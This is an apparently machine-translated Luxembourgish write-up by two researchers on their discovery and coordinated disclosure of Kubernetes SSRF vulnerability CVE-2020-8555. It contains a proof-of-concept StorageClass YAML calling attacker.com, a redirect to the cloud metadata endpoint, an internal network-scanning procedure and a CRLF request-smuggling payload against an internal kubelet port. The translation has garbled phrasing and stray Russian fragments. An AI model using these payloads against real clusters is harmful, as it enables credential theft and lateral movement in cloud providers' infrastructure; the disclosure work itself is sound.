🥇Wann et net nëmmen ëm eng Kubernetes Schwachstelle geet…

Note. iwwersat.: d'Auteuren vun dësem Artikel schwätzen am Detail iwwer wéi se et fäerdeg bruecht hunn d'Schwachheet z'entdecken CVE-2020-8555 zu Kubernetes. Och wann et am Ufank net ganz geféierlech ausgesinn huet, a Kombinatioun mat anere Faktoren huet seng Kritizitéit fir e puer Cloud Ubidder maximal erausgestallt. Verschidde Organisatiounen hunn d'Spezialisten generéis belount fir hir Aarbecht.

Wien si mir

Mir sinn zwee franséisch Sécherheetsfuerscher, déi zesummen eng Schwachstelle zu Kubernetes entdeckt hunn. Eis Nimm sinn Brice Augras a Christophe Hauquiert, awer op ville Bug Bounty Plattforme si mir bekannt als Reeverzax respektiv Hach:

Brice Augras - Groupe Asten Company;
Christophe Hauquiert - Kubernetes Architekt bei Nokia.

Wat ass geschitt?

Dësen Artikel ass eise Wee fir ze deelen wéi en normale Fuerschungsprojet onerwaart an déi spannendst Aventure am Liewen vu Käferjeeger verwandelt huet (op d'mannst fir de Moment).

Wéi Dir wahrscheinlech wësst, hunn Käferjager e puer Notabele Featuren:

si liewen op Pizza a Béier;
si schaffen wann all déi aner schlofen.

Mir si keng Ausnahm zu dëse Reegelen: mir treffen eis normalerweis um Weekend a verbréngen schloflos Nuechten Hacking. Awer eng vun dësen Nuechten ass op eng ganz ongewéinlech Manéier opgehalen.

Am Ufank wollte mir eis treffen fir d'Participatioun un ze diskutéieren CTF den nächsten Dag. Wärend engem Gespréich iwwer Kubernetes Sécherheet an engem verwalteten Serviceëmfeld hu mir eis un déi al Iddi vum SSRF (Server-Säit Ufro Fälschung) an huet decidéiert et als Attackskript ze benotzen.

Um 11hXNUMX hu mir eis gesat fir eis Recherchen ze maachen an si moies fréi an d'Bett gaang, ganz zefridden mat de Resultater. Et war wéinst dëser Fuerschung datt mir de MSRC Bug Bounty Programm begéint hunn a mat engem Privileg Eskalatiounsexploit erauskomm sinn.

E puer Wochen/Méint si vergaangen, an eist onerwaart Resultat huet zu enger vun den héchste Belounungen an der Geschicht vun der Azure Cloud Bug Bounty gefouert - zousätzlech zu deem, dee mir vu Kubernetes kritt hunn!

Baséierend op eisem Fuerschungsprojet huet de Kubernetes Product Security Committee publizéiert CVE-2020-8555.

Elo wéilt ech Informatioun iwwer déi fonnt Schwachstelle sou vill wéi méiglech verbreeden. Mir hoffen Dir schätzt d'Find an deelt déi technesch Detailer mat anere Membere vun der Infosec Gemeinschaft!

Also hei ass eis Geschicht ...

Kontext

Fir am meeschte Sënn ze maachen wat geschitt ass, loosst eis als éischt kucken wéi Kubernetes an engem Cloud geréiert Ëmfeld funktionnéiert.

Wann Dir e Kubernetes Cluster an esou engem Ëmfeld instantiéiert, ass d'Gestiounsschicht typesch d'Verantwortung vum Cloud Provider:

D'Kontrollschicht ass um Perimeter vum Cloud Provider, während d'Kubernetes Noden um Perimeter vum Client sinn.

Fir dynamesch Bänn ze verdeelen, gëtt e Mechanismus benotzt fir se dynamesch vun engem externe Späicherbackend ze versuergen an ze vergläichen mat PVC (persistent Volumenfuerderung, dh eng Ufro fir e Volumen).

Also, nodeems de PVC erstallt ass a mat der StorageClass am K8s Cluster gebonnen ass, ginn weider Aktiounen fir de Volume ze bidden vum Kube / Cloud Controller Manager iwwerholl (säi genee Numm hänkt vun der Verëffentlechung of). (Note. iwwersat.: Mir hu scho méi iwwer CCM geschriwwen mat dem Beispill vu senger Ëmsetzung fir ee vun de Cloud Provider hei.)

Et gi verschidden Aarte vu Provisorer ënnerstëtzt vu Kubernetes: déi meescht vun hinnen sinn abegraff orchestrator Kär, während anerer vun zousätzleche Provisorer geréiert ginn, déi an Pods am Cluster gesat ginn.

An eiser Fuerschung hu mir eis op den internen Volumenversuergungsmechanismus konzentréiert, deen hei ënnen illustréiert ass:

Dynamesch Versuergung vu Volumen mat dem agebaute Kubernetes Provider

Kuerz gesot, wann Kubernetes an engem verwalteten Ëmfeld ofgesat ass, ass de Controller Manager d'Verantwortung vum Cloud Provider, awer d'Volumencreatiounsufro (Nummer 3 am Diagramm uewendriwwer) verléisst den internen Netzwierk vum Cloud Provider. An dat ass wou d'Saache wierklech interessant ginn!

Hacking Szenario

An dëser Sektioun wäerte mir erkläre wéi mir vum uewe genannte Workflow profitéiert hunn an op déi intern Ressourcen vum Cloud Service Provider zougräifen. Et wäert Iech och weisen wéi Dir verschidden Aktiounen ausféiere kënnt, sou wéi intern Umeldungsinformatiounen ze kréien oder Privilegien eskaléieren.

Eng einfach Manipulatioun (an dësem Fall, Service Side Request Forgery) huet gehollef iwwer d'Clientëmfeld a Cluster vu verschiddene Serviceprovider ënner geréiert K8s ze goen.

An eiser Fuerschung hu mir eis op de GlusterFS Provider konzentréiert. Trotz der Tatsaach, datt déi weider Sequenz vun Aktiounen an dësem Kontext beschriwwe gëtt, sinn Quobyte, StorageOS a ScaleIO ufälleg fir déiselwecht Schwachstelle.

Mëssbrauch vum dynamesche Volumenbestëmmungsmechanismus

Während Stockage Klass Analyse GlusterFS am Golang Client Quellcode mir gemierktdatt op der éischter HTTP Ufro (3) während Volume Kreatioun geschéckt, bis Enn vun der Benotzerdefinéiert URL am Parameter resturl bäigefüügt /volumes.

Mir hu beschloss, vun dësem zousätzleche Wee lass ze ginn, andeems mer dobäi ginn # am Parameter resturl. Hei ass déi éischt YAML Konfiguratioun déi mir benotzt hunn fir eng semi-blannen SSRF Schwachstelle ze testen (Dir kënnt méi iwwer hallefblann oder hallefblann SSRF liesen, zum Beispill, hei — ca. Iwwersetzung):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Duerno hu mir de Binär benotzt fir de Kubernetes Cluster op afstand ze managen kubectl. Typesch, Cloud Provider (Azure, Google, AWS, etc.) erlaben Iech Umeldungsinformatioune fir benotzen an dësem Utility ze kréien.

Dank dësem konnt ech meng "speziell" Datei benotzen. Kube-controller-manager huet déi resultéierend HTTP-Ufro ausgefouert:

kubectl create -f sc-poc.yaml

D'Äntwert aus der Siicht vum Ugräifer

Kuerz duerno konnte mir och eng HTTP-Äntwert vum Zilserver kréien - iwwer d'Kommandoen describe pvc oder get events an kubectl. An tatsächlech: dëse Standard Kubernetes Chauffer ass ze verbose a sengen Warnungen / Fehlermeldungen ...

Hei ass e Beispill mat engem Link op https://www.google.frals Parameter setzen resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

An dëser Approche ware mir limitéiert op Ufroe wéi HTTP POST a konnt net den Inhalt vun der Äntwert Kierper kréien wann de Retour Code war 201. Dofir hu mir beschloss fir zousätzlech Fuerschung ze maachen an dësen Hacking-Szenario mat neien Approchen auszebauen.

D'Evolutioun vun eiser Fuerschung

Fortgeschratt Szenario #1: Mat engem 302 Viruleedung vun engem externen Server fir d'HTTP Method z'änneren fir e méi flexibele Wee ze bidden fir intern Daten ze sammelen.
Fortgeschratt Szenario #2: Automatiséieren LAN Scannen an intern Ressource Entdeckung.
Fortgeschratt Szenario # 3: benotzt HTTP CRLF + Schmuggling ("Ufro Schmuggling") fir ugepasste HTTP-Ufroen ze kreéieren an Daten aus Kube-Controller-Logbicher extrahéiert ze kréien.

Technesch Spezifikatioune

D'Fuerschung benotzt Azure Kubernetes Service (AKS) mat Kubernetes Versioun 1.12 an der Nordeuropa Regioun.
Déi uewe beschriwwe Szenarien goufen op déi lescht Verëffentlechunge vu Kubernetes ausgefouert, mat Ausnam vum drëtten Szenario, well hie brauch Kubernetes gebaut mat Golang Versioun ≤ 1.12.
Den externen Server vum Attacker - https://attacker.com.

Fortgeschratt Szenario #1: Viruleedung vun enger HTTP POST Ufro fir GET a sensibel Donnéeën ze kréien

Déi ursprénglech Method gouf verbessert duerch d'Konfiguratioun vum Server vum Ugräifer fir zréckzekommen 302 HTTP Retcodefir eng POST Ufro an eng GET Ufro ze konvertéieren (Schrëtt 4 am Diagramm):

Éischt Ufro (3) kënnt vum Client GlusterFS (Controller Manager), huet e POST Typ. Duerch dës Schrëtt ze verfollegen konnte mir et an e GET ëmsetzen:

Als Parameter resturl am StorageClass gëtt et uginn http://attacker.com/redirect.php.
Endpunkt https://attacker.com/redirect.php reagéiert mat engem 302 HTTP Statuscode mat de folgende Location Header: http://169.254.169.254. Dëst kann all aner intern Ressource sinn - an dësem Fall gëtt de Viruleedungslink nëmmen als Beispill benotzt.
Par défaut net/http Bibliothéik Golang redirectéiert d'Ufro an konvertéiert de POST an e GET mat engem 302 Statuscode, wat zu enger HTTP GET Ufro un d'Zilressource resultéiert.

Fir den HTTP Äntwert Kierper ze liesen musst Dir maachen describe PVC Objet:

kubectl describe pvc xxx

Hei ass e Beispill vun enger HTTP Äntwert am JSON Format déi mir konnten kréien:

D'Kapazitéite vun der fonnter Schwachstelle zu där Zäit ware limitéiert wéinst de folgende Punkten:

Onméiglechkeet HTTP Header an erausginn Ufro anzeginn.
Onméiglechkeet eng POST Ufro mat Parameteren am Kierper auszeféieren (dëst ass bequem fir de Schlësselwäert vun enger etcd Instanz ze froen 2379 port wann onverschlësselte HTTP benotzt gëtt).
Onméiglechkeet Äntwert Kierper Inhalt ze recuperéieren wann de Status Code war 200 an d'Äntwert huet keen JSON Inhalt-Typ.

Fortgeschratt Szenario #2: Scannen vum lokalen Netzwierk

Dës hallefblannen SSRF-Methode gouf dunn benotzt fir den internen Netzwierk vum Cloud Provider ze scannen a verschidde Nolauschterservicer ze pollen (Metadaten Instanz, Kubelet, etcd, etc.) baséiert op den Äntwerten kube Controller.

Als éischt goufen d'Standard Nolauschterporte vu Kubernetes Komponenten bestëmmt (8443, 10250, 10251, etc.), an dann hu mir de Scannerprozess automatiséiert.

Gesinn datt dës Method fir Ressourcen ze scannen ganz spezifesch ass an net kompatibel ass mat klassesche Scanner an SSRF Tools, hu mir beschloss eis eegen Aarbechter an engem Bash Skript ze kreéieren deen de ganze Prozess automatiséiert.

Zum Beispill, fir séier d'Gamme 172.16.0.0/12 vum internen Netzwierk ze scannen, goufen 15 Aarbechter parallel lancéiert. Déi uewe genannte IP-Gamme gouf nëmmen als Beispill ausgewielt a kann ënnerleien fir Äert spezifescht Déngschtleeschter hir IP-Gamme ze änneren.

Fir eng IP Adress an een Hafen ze scannen, musst Dir déi folgend maachen:

läschen déi lescht iwwerpréift StorageClass;
ewechzehuelen déi virdrun verifizéiert Persistent Volume Claim;
änneren d'IP a Port Wäerter an sc.yaml;
eng StorageClass mat engem neien IP an port erstellen;
schafen eng nei PVC;
Extrait Scan Resultater mat Beschreiwen fir PVC.

Fortgeschratt Szenario #3: CRLF Injektioun + Schmuggel HTTP an "al" Versioune vum Kubernetes Cluster

Wann zousätzlech zu dësem de Provider Clienten al Versioune vun der K8s Stärekoup offréiert и huet hinnen Zougang zu de Logbicher vum Kube-Controller-Manager, den Effekt gouf nach méi bedeitend.

Et ass wierklech vill méi praktesch fir en Ugräifer HTTP-Ufroen z'änneren entworf fir eng voll HTTP-Äntwert no sengem Diskretioun ze kréien.

Fir de leschte Szenario ëmzesetzen, hu folgend Bedéngungen erfëllt:

De Benotzer muss Zougang zu Kube-Controller-Manager Logbicher hunn (wéi zum Beispill an Azure LogInsights).
De Kubernetes Stärekoup muss eng Versioun vu Golang manner wéi 1.12 benotzen.

Mir hunn e lokalt Ëmfeld ofgesat, deen d'Kommunikatioun tëscht dem GlusterFS Go Client an engem gefälschte Zilserver simuléiert huet (mir wäerte fir de Moment de PoC net verëffentlechen).

Gouf fonnt Schwachstelle, beaflosst Golang Versioune manner wéi 1.12 an erlaabt Hacker HTTP-Schmuggel-/CRLF-Attacke auszeféieren.

Duerch d'Kombinatioun vun der hallefblannen SSRF uewen beschriwwen вместе mat dëser, mir konnten Ufroen un eis Goût schécken, dorënner Ersetzen Header, HTTP Method, Parameteren an Donnéeën, déi Kube-Controller-Manager dann veraarbecht.

Hei ass e Beispill vun engem funktionnéierende "Köder" an engem Parameter resturl StorageClass, deen en ähnlechen Attackszenario implementéiert:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

D'Resultat ass e Feeler onerwënscht Äntwert, e Message iwwer deen an de Controller Logbicher opgeholl gëtt. Dank der Verbositéit, déi als Standard aktivéiert ass, gëtt den Inhalt vun der HTTP Äntwert Message och do gespäichert.

Dëst war eisen effektivsten "Köder" am Kader vum proof of concept.

Mat dëser Approche konnte mir e puer vun de folgenden Attacken op Cluster vu verschiddene verwalteten k8s Ubidder ausféieren: Privileg Eskalatioun mat Umeldungsinformatiounen op Metadaten Instanzen, Master DoS iwwer (net verschlësselte) HTTP Ufroen op etcd Master Instanzen, etc.

Folgen

An der Kubernetes offizieller Ausso iwwer d'SSRF Schwachstelle déi mir entdeckt hunn, gouf et bewäert CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Wa mir nëmmen d'Schwachstelle betruechten, déi mam Kubernetes Perimeter assoziéiert ass, den Integritéitsvektor (Integritéit Vektor) et qualifizéiert als näischt.

Wéi och ëmmer, d'Bewäertung vun de méigleche Konsequenzen am Kontext vun engem verwalteten Serviceëmfeld (an dat war den interessantsten Deel vun eiser Fuerschung!) huet eis opgefuerdert d'Schwachheet an eng Bewäertung ëmzeklasséieren Kritescher CVSS10/10 fir vill Distributeuren.

Drënner ass zousätzlech Informatioun fir Iech ze hëllefen eis Considératiounen ze verstoen wann Dir déi potenziell Auswierkunge a Wollekenëmfeld beurteelt:

Integritéit

Befehle op afstand ausféieren andeems Dir intern Umeldungsinformatiounen kaaft hutt.
Reproduzéieren vum uewe genannte Szenario mat der IDOR (Insecure Direct Object Reference) Method mat anere Ressourcen déi am lokalen Netzwierk fonnt ginn.

Vertraulechkeet

Attack Typ Lateral Bewegung merci fir Vol vun Cloud Umeldungsinformatioune (Zum Beispill, Metadaten API).
Informatioun sammelen andeems Dir de lokalen Netzwierk Scannen (Bestëmmung vun der SSH Versioun, HTTP Server Versioun, ...).
Sammelt Instanz- an Infrastrukturinformatioun andeems Dir intern APIen wéi d'Metadaten API (http://169.254.169.254, ...).
Klauen Client Daten mat Cloud Umeldungsinformatiounen.

Disponibilitéit

All exploit Szenarie Zesummenhang mat Attack Vecteure op Integritéit, kann fir zerstéierend Aktiounen benotzt ginn a féieren zu Meeschterinstanzen aus dem Clientperimeter (oder all aner) net verfügbar.

Well mir an engem verwalteten K8s Ëmfeld waren an den Impakt op d'Integritéit bewäerten, kënne mir vill Szenarie virstellen, déi d'Disponibilitéit beaflosse kënnen. Zousätzlech Beispiller enthalen d'Korruptioun vun der etcd Datebank oder e kriteschen Uruff un d'Kubernetes API.

Timeline

Dezember 6, 2019: Schwachstelle bei MSRC Bug Bounty gemellt.
3. Januar 2020: Eng Drëtt Partei huet Kubernetes Entwéckler informéiert datt mir un engem Sécherheetsprobleem schaffen. A gefrot hinnen SSRF als intern (in-core) Schwachstelle ze betruechten. Mir hunn dunn en allgemenge Bericht mat techneschen Detailer iwwer d'Quell vum Problem geliwwert.
Januar 15, 2020: Mir hunn technesch an allgemeng Berichter un Kubernetes Entwéckler op hir Ufro geliwwert (iwwer d'HackerOne Plattform).
15. Januar 2020: Kubernetes Entwéckler hunn eis matgedeelt datt hallefblannen SSRF + CRLF Injektioun fir vergaange Verëffentlechungen als eng In-Core Schwachstelle ugesi gëtt. Mir hunn direkt opgehalen d'Perimeter vun aneren Déngschtleeschter ze analyséieren: d'K8s-Team huet sech elo mat der Grondursaach beschäftegt.
15. Januar 2020: MSRC Belounung kritt duerch HackerOne.
16. Januar 2020: Kubernetes PSC (Produktsécherheetskomitee) huet d'Schwachheet unerkannt a gefrot et bis Mëtt Mäerz geheim ze halen wéinst der grousser Zuel vu potenziellen Affer.
11. Februar 2020: Google VRP Belounung kritt.
4. Mäerz 2020: Kubernetes Belounung kritt duerch HackerOne.
15. Mäerz 2020: Ursprénglech geplangte ëffentlech Verëffentlechung ausgestallt wéinst der COVID-19 Situatioun.
Juni 1: Kubernetes + Microsoft gemeinsame Erklärung iwwer d'Schwachheet.

TL; DR

Mir drénken Béier an iessen Pizza :)
Mir hunn eng In-Core Schwachstelle am Kubernetes entdeckt, obwuel mir keng Absicht haten dat ze maachen.
Mir hunn zousätzlech Analyse op Cluster vu verschiddene Cloud Ubidder gemaach a konnten de Schued erhéijen, deen duerch d'Schwachheet verursaacht gëtt fir zousätzlech fantastesch Bonusen ze kréien.
Dir fannt vill technesch Detailer an dësem Artikel. Mir géife frou se mat Iech ze diskutéieren (Twitter: @ReeverZax & @__hach_).
Et huet sech erausgestallt, datt all Zorte vu Formalitéiten a Berichterstattung vill méi laang gedauert huet wéi erwaart.